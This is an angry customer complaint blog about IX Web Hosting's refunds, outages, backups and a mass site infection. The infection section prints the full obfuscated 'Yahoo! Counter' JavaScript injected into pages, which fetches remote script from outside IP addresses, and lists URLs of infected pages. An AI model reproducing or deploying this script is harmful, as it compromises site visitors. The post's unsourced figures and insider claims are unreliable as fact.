REAL ix web hosting customer reviews NOT paid and misleading reviews

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

IX Web Hosting offers 100% 30 day Money Back Guarantee

First of all, lets break this down for the wise folks at ix web hosting that follow these rantings..

100% ….. 30 day(s) …. Money Back ….. Guarantee 

Sounds good, but is this really true??.. or are the small letters hidden in some dark corner.. Well we found someone that gave it a try, and here is the story…..

PACKAGE :  Business package incl. 2 FREE domain names

PRICE PAID: With their end-of-year special, I even got a special price ($17.27 for three months, with a year agreement)  and paid $95.40 via credit card for a year’s worth of service.

CANCELLED : on day 30 ( the last day)

( needed for 100% refund) REASON OF CANCELLATION :  I was blindly suckered in by your outrageous claims regarding the quality of your service. In the last two weeks I have experienced no less than *THREE* outages due to database issues. I’m going back — no, *RUNNING* back — to a former provider. They  provide better service, and at a better price to boot. Please terminate this account immediately. Monetarily, rape me for whatever your contract allows — I don’t care. At this point, I’d just about pay you to be done with you. Good riddance. [name witheld]

So, they refunded you the full $95.40??

hahahahahaahaa!!!

As mentioned above, IX Web Hosting’s package came with two “FREE” domains, which I promptly registered. They were stupid domain names that I’ll probably never use, but hey, they were “FREE”, right? Uh, no. Of the $95.40 I paid to IX Web Hosting, they credited me :

• $57.45 “for unused but prepaid period of Business Plus”
• charged me $18.21 for the first domain
• charged me $18.21 for the second domain

• refunded me a grand total of $21.03

WHAT!!!!  $21.03!! … but that is just 22% of $95.40

Now that is what we call DECEIVING YOUR CUSTOMERS!!!

 

Thousands of IX Hosted sites offline for +35 HOURS!!

One of IX Web Hosting’s  EXTREMELY OVERLOADED Server crashed a few days ago, leaving thousands of customers sites offline for …… more than 35 HOURS!!… Not minutes, HOURS!!.

When we contacted Support, we were told ( lied to) that the server was down for maintenance, and to be patient (hahaha) things would be up and running within an hour!!.. after the SEVENTH phonecall (28 hours later) we were finally told that the server was fried  and backups needed to be transfered to the new server..

AGAIN another example of how IX Web Hosting LIES to their customers as for long as they can get away with it.. When they have been rumbled, and have their backs to the wall, only then do they admit to the truth!!

This is going to be pretty tricky for IX Web Hosting  to keep to their 99.99% uptime guarantee

:: EDIT May 25th ::

We just recieved information from an insider at IX Web Hosting, that for months they had KNOWN issues with the server that fried… but the issues were ignored.

Just goes to show how much they care..

IX Web Hosting making money from their INSECURE SERVERS

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

IX Web Hostings Servers using both Php4 and Php5 INFECTED

As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.

This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.

Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”

Here is a quote from IX Support’s Alex Karamushko :

We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.

After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.

More than ONE THIRD of ALL IX Web Hosting sites INFECTED

A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise  his / her position. I will call this person “AGENT IX”

Today I recieved an Email from “AGENT IX”  that states that more than 100,000 IX Web Hosting Sites are infected.

The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com 

More than 100,000 sites are infected, which means that more than  1/3   of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.

Also the injected script(s) are changing ( see previous posts) which most likely means that this  vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER  the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.

Response from Ecommerce about Backups

XXI. Data Integrity

The subscriber is responsible for keeping a complete and current copy of their website files as a backup on a remote system (not solely on IX Web Hosting servers).

IX Web Hosting is NOT RESPONSIBLE for any lost files, information or data.

IX Web Hosting makes regular internal backups of internal system configurations and databases. These backups are NOT intended for keeping backups of subscriber websites.

Although IX Web Hosting backups may include subscriber sites and information for disaster recovery purposes, these backups are not to be relied on by the subscriber. IX Web Hosting does not guarantee to possess the most current copy of a subscriber’s website in its own backups.

https://www.ixwebhosting.com/index.php/v2/pages.tos#q21

Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko 

===================================

My response

Yes Alex, we  ALL know that IX Web Hosting is not responsible for anything!!.. Paying customers are responsible for EVERYTHING … You clearly promise daily backups , and on the other hand you clearly state that it is the customers responsability

May I ask what the Backups are intended for, if they are ( and I quote)  NOT intended for keeping backups of subscriber websites

And while I’m quoting, here is another one:

IX Web Hosting does not guarentee to posses the most current copy of a subscribers website in it’s own backups

Maybe this is true, but they do quarentee, or should I say promise, (and another quote)

 10. What kind of backup policies do you have in place?
We perform daily on-site backup via our own custom-made backup solution.

Can be seen:
https://www.ixwebhosting.com/index.php/v2/pages.faq_policies#q610

And in my books, a “Day Old” backup is pretty recent, but with the insecure and vunerable servers at IX, a Day Old Backup is as useful as a splinter in the eye.

And my last quote on this subject:  IX Web Hosting is NOT RESPONSIBLE for any lost files, information or data.

18 months ago, IX webhosting lost my whole site, incl. database.. How they actually did it, I do not know, they compensated me with a FREE WEEK of hosting!!!.. haha, thats like pulling out my last tooth!!

I had backups of the site, but just like said the lame pathetic IX is NEVER RESPOSIBLE!!.. It’s always the paying Customer!!

IX webhosting Backups

Since I started this blog I have recieved way too many Emails from IX customers that are being blamed for IX web hosting’s incompetence, so far I have 1374 emails  from people that are furious at the way IX is treating them and their buisness. In the past week I have recieved 41 emails from customers that have completely lost their website(s) Not due to any injected scripts or iFrame hacks, but because IX webhosting has deleted them, and do not have any backups..

An example recieved today.  

Dear Larry Sypher,
I am very sorry for this recent inconvenience, please accept my sincere apologies. Our admins have verified that all relevant backups have been rotated already. Unfortunately all backups which are older than a week are being deleted from the server on a regular basis because we cannot afford to store too old backups due to the many system restrictions of the shared hosting environment. It is much recommended to create local backup copies. I regret.
Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko

So what they are saying, is that if anything was to happen to your site, you have LESS than a week to discover it, and have it backed up, otherwise, a new backup will be made, and this time it will be the “INFECTED”  site, and you have just lost your site!!.. ONE WEEK!!?? …. It takes IX 4 days to reply to a support ticket!!

This evening  01-01-2009 I checked to see what support has to say about backups..

 

 

So, they are telling me they have a choice of 4 Backups, over a 2 week periode

Well, we all know IX webhosting are a bunch of liars, this is just another example of how they they promise you things, but cannot deliver

IX Web Hosting and the Yahoo Counter Script Injection

I started this blog just 2 weeks ago, and today I recieved my 1000 th  Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

• http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg 
• http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

• mysql33.ixwebhosting.com
• mysql15.ixwebhosting.com
• mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

IX Web Hosting Injected TODAY

Dec. 19. 2008

I can confirm that IX web hosting’s server running database ”mysql27.ixwebhosting.com” the site injected were on “ns5.ixwebhosting.com” , “ns6.ixwebhosting.com” has yet again been injected, this within a week after IX web hosting sent an email where it stated that all their servers were clean .. and I quote from the email sent by Fatima Said, CCO IX Web Hosting

“”  We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected. “”

This just goes to show that IX web hosting has not got a clue where to start looking and what to clean.

 

The injected code appears on every file:

<script language=javascript><!– Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F@/%3C~%64%69&v%20`s!t~%79l#e=%64%69%73p%6C%61~y~%3A%6Eo%6E%65%3E!\nd%6F$%63%75%6D%65%6E#%74%2E!w`r$%69$%74%65%28%22%3C%2F%74!%65~%78t%61!%72@%65&a&%3E@%22|)~%3B|v`a%72%20#%69,%5F`,a%3D![“!7$%38&%2E110~.1%37@%35`.!%321$%22%2C%22!%319~5~.24%2E|%37$%36#%2E%32%35%31%22%5D`%3B~_=~1!%3Bi|f(|do!c%75%6D%65nt@%2E~c#%6F%6F&%6B%69~%65%2E%6D&a~tc%68!(&%2F%5C#bh&%67&%66t@=1%2F)%3D$%3D$%6E|%75l&%6C`%29f#o%72(%69|=%30&%3B|i~%3C@%32!%3B%69+~%2B~%29d|ocu%6Dent%2E&%77~%72%69%74%65(“~%3C`s`c`r%69&p%74`%3E%69f|%28%5F@%29do%63%75m$%65`%6E%74`%2E%77~rit$%65|%28%5C|”#%3C#s&c&r@ip%74$%20%69@%64%3D!_~”+i+`%22_%20|%73%72%63!%3D%2F/#%22|+a#%5Bi|%5D%2B#%22/~%63!p%2F?`”%2B!n`%61#v&%69ga%74%6F!%72%2Ea%70%70`%4E%61%6De`%2Ec!%68$%61%72`A|t&(@0`%29#%2B%22#%3E%3C%5C%5C@/`%73%63@%72&i|p`t@%3E%5C|”~)`%3C#%5C&/!s~c$%72~%69$%70&t!%3E”)#;#\n%2F&%2F$%3C#%2F&d%69%76!%3E’).replace(/@|\!|#|\&|`|~|\||\$/g,”"));var yahoo_counter=1;
<!– counter end –></script>

IX Web Hosting’s Promise to you.

Remeber this? In big letters on their Home Page, “Our Promise to you“  well, the ship started sinking in April, and the rats started fleeing, and  “Their Promise to us” disappeared like a fart in the wind.. Or so they had hoped.

Let me take you back in time, to refresh your memory, read and have a laugh at the promises that were made, hey, even sit back and listen  to the CEO Fathi Said tell us how important we are.. as he well puts it, “Without you, IX  web hosting would not exist“  Ooohhh and while you are enjoying the blast to the past, why not send him a personal message..

ENJOY : http://web.archive.org/web/20080101195251/www.ixwebhosting.com/index.php/v2/pages.ourPromiseToYou 

Dear Friend,It’s my personal wish to address you with this letter. It is very important for me to get in touch with my customers, for a simple reason:

Without you, we would not be in business.